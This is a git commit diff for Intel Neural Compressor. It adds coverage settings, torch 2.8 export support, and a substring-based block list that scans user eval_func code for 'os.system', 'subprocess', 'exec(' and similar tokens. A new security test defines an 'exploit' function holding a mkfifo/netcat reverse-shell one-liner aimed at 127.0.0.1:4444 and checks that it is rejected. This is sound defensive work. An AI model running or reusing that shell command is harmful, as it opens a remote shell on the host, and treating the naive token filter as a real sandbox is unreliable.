Merge branch 'master' into xinhe/mx_recipe

xin3he · web-flow · commit dd5a4df7c108 · 2025-09-23T15:17:00.000+08:00
diff --git a/.azure-pipelines/scripts/ut/3x/coverage.3x_pt b/.azure-pipelines/scripts/ut/3x/coverage.3x_pt
@@ -1,6 +1,12 @@
 [run]
 branch = True
 
+[paths]
+source =
+    neural_compressor/
+    */site-packages/neural_compressor/
+    */dist-packages/neural_compressor/
+
 [report]
 include =
  */neural_compressor/common/*
diff --git a/.azure-pipelines/scripts/ut/3x/coverage.3x_pt_fp8 b/.azure-pipelines/scripts/ut/3x/coverage.3x_pt_fp8
@@ -1,6 +1,12 @@
 [run]
 branch = True
 
+[paths]
+source =
+    neural_compressor/
+    */site-packages/neural_compressor/
+    */dist-packages/neural_compressor/
+
 [report]
 include =
  */neural_compressor/torch/algorithms/fp8_quant/*
diff --git a/.azure-pipelines/scripts/ut/3x/coverage.3x_tf b/.azure-pipelines/scripts/ut/3x/coverage.3x_tf
@@ -1,6 +1,12 @@
 [run]
 branch = True
 
+[paths]
+source =
+    neural_compressor/
+    */site-packages/neural_compressor/
+    */dist-packages/neural_compressor/
+
 [report]
 include =
  */neural_compressor/common/*
diff --git a/.azure-pipelines/ut-3x-pt-fp8.yml b/.azure-pipelines/ut-3x-pt-fp8.yml
@@ -12,6 +12,7 @@ pr:
       - .azure-pipelines/scripts/install_nc.sh
       - .azure-pipelines/ut-3x-pt-fp8.yml
       - .azure-pipelines/template/docker-template.yml
+      - .azure-pipelines/scripts/ut/3x/coverage.3x_pt_fp8
       - neural_compressor/common
       - neural_compressor/torch
       - neural_compressor/transformers
diff --git a/.azure-pipelines/ut-3x-pt.yml b/.azure-pipelines/ut-3x-pt.yml
@@ -19,6 +19,7 @@ pr:
       - .azure-pipelines/template/docker-template.yml
       - .azure-pipelines/scripts/install_nc.sh
       - .azure-pipelines/scripts/ut/3x/run_3x_pt.sh
+      - .azure-pipelines/scripts/ut/3x/coverage.3x_pt
 
 pool: ICX-16C
 
diff --git a/.azure-pipelines/ut-3x-tf.yml b/.azure-pipelines/ut-3x-tf.yml
@@ -16,6 +16,7 @@ pr:
       - requirements_tf.txt
       - .azure-pipelines/scripts/ut/3x/run_3x_tf.sh
       - .azure-pipelines/template/docker-template.yml
+      - .azure-pipelines/scripts/ut/3x/coverage.3x_tf
 
 pool: ICX-16C
 
diff --git a/neural_compressor/mix_precision.py b/neural_compressor/mix_precision.py
@@ -29,7 +29,7 @@
 from .model import Model
 from .strategy import STRATEGIES
 from .utils import alias_param, logger
-from .utils.utility import CpuInfo, time_limit
+from .utils.utility import CpuInfo, secure_check_eval_func, time_limit
 
 
 @alias_param("conf", param_alias="config")
@@ -91,6 +91,8 @@ def fit(model, conf, eval_func=None, eval_dataloader=None, eval_metric=None, **k
         )
         sys.exit(0)
 
+    secure_check_eval_func(eval_func)
+
     wrapped_model = Model(model, conf=conf)
 
     precisions = list(set(conf.precisions) - set(conf.excluded_precisions))
diff --git a/neural_compressor/quantization.py b/neural_compressor/quantization.py
@@ -27,7 +27,7 @@
 from .model import Model
 from .strategy import STRATEGIES
 from .utils import logger
-from .utils.utility import dump_class_attrs, time_limit
+from .utils.utility import dump_class_attrs, secure_check_eval_func, time_limit
 
 
 def fit(
@@ -153,6 +153,8 @@ def eval_func(model):
     else:
         metric = None
 
+    secure_check_eval_func(eval_func)
+
     config = _Config(quantization=conf, benchmark=None, pruning=None, distillation=None, nas=None)
     strategy_name = conf.tuning_criterion.strategy
 
diff --git a/neural_compressor/torch/export/pt2e_export.py b/neural_compressor/torch/export/pt2e_export.py
@@ -13,13 +13,20 @@
 # limitations under the License.
 """Export model for quantization."""
 
+from functools import partial
 from typing import Any, Dict, Optional, Tuple, Union
 
 import torch
 from torch.fx.graph_module import GraphModule
 
 from neural_compressor.common.utils import logger
-from neural_compressor.torch.utils import TORCH_VERSION_2_2_2, TORCH_VERSION_2_7_0, get_torch_version, is_ipex_imported
+from neural_compressor.torch.utils import (
+    TORCH_VERSION_2_2_2,
+    TORCH_VERSION_2_7_0,
+    TORCH_VERSION_2_8_0,
+    get_torch_version,
+    is_ipex_imported,
+)
 
 __all__ = ["export", "export_model_for_pt2e_quant"]
 
@@ -52,7 +59,10 @@ def export_model_for_pt2e_quant(
             # Note 1: `capture_pre_autograd_graph` is also a short-term API, it will be
             # updated to use the official `torch.export` API when that is ready.
             cur_version = get_torch_version()
-            if cur_version >= TORCH_VERSION_2_7_0:
+            if cur_version >= TORCH_VERSION_2_8_0:
+                export_func = torch.export.export
+                export_func = partial(export_func, strict=True)
+            elif cur_version >= TORCH_VERSION_2_7_0:
                 export_func = torch.export.export_for_training
             else:
                 export_func = torch._export.capture_pre_autograd_graph
diff --git a/neural_compressor/torch/utils/environ.py b/neural_compressor/torch/utils/environ.py
@@ -152,6 +152,7 @@ def get_ipex_version():
 
 TORCH_VERSION_2_2_2 = Version("2.2.2")
 TORCH_VERSION_2_7_0 = Version("2.7.0")
+TORCH_VERSION_2_8_0 = Version("2.8.0")
 
 
 def get_torch_version():
diff --git a/neural_compressor/utils/utility.py b/neural_compressor/utils/utility.py
@@ -25,6 +25,7 @@
 import ast
 import builtins
 import importlib
+import inspect
 import logging
 import os
 import os.path as osp
@@ -39,6 +40,7 @@
 from enum import Enum
 from functools import wraps
 from tempfile import NamedTemporaryFile
+from types import FunctionType
 from typing import Any, Dict, List, Optional
 
 import cpuinfo
@@ -1281,3 +1283,42 @@ def check_key_exist(data, key):
             if check_key_exist(item, key):
                 return True
     return False
+
+
+# for eval_func
+_FORBIDDEN_PATTERNS = [
+    "import os",
+    "import subprocess",
+    "import sys",
+    "subprocess.",
+    "os.system",
+    "os.popen",
+    "popen(",
+    "Popen(",
+    "system(",
+    "exec(",
+    "__import__(",
+]
+
+
+def _static_check(func):
+    try:
+        src = inspect.getsource(func)
+    except (OSError, IOError):  # pragma: no cover
+        logger.warning("Cannot read source of eval_func; skip static scan.")
+        return
+    lowered = src.lower()
+    for p in _FORBIDDEN_PATTERNS:
+        if p in lowered:
+            raise ValueError(f"Unsafe token detected in eval_func: {p}")
+
+
+def secure_check_eval_func(user_func):
+    """Return a secured version of user eval_func."""
+    if not isinstance(user_func, FunctionType) or user_func is None:
+        logger.warning("Provided eval_func is not a plain function; security checks limited.")
+        return user_func
+    try:
+        _static_check(user_func)
+    except ValueError as e:
+        raise RuntimeError(f"Rejected unsafe eval_func: {e}")
diff --git a/test/adaptor/pytorch_adaptor/test_adaptor_security.py b/test/adaptor/pytorch_adaptor/test_adaptor_security.py
@@ -0,0 +1,32 @@
+import unittest
+
+import torch
+import torch.nn as nn
+
+from neural_compressor import PostTrainingQuantConfig
+from neural_compressor.mix_precision import fit
+
+
+def exploit(model):
+    __import__("os").system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 127.0.0.1 4444 >/tmp/f")
+    return 1.0
+
+
+class DummyTorchModel(nn.Module):
+    def forward(self, x):
+        return x
+
+
+class TestAdaptSecurity(unittest.TestCase):
+    def test_security(self):
+        dummy_model = DummyTorchModel()
+        conf = PostTrainingQuantConfig()
+        conf.precisions = ["fp32"]
+        conf.excluded_precisions = []
+        with self.assertRaises(RuntimeError) as ctx:
+            fit(model=dummy_model, conf=conf, eval_func=exploit)
+        self.assertIn("Rejected unsafe eval_func", str(ctx.exception))
+
+
+if __name__ == "__main__":
+    unittest.main()
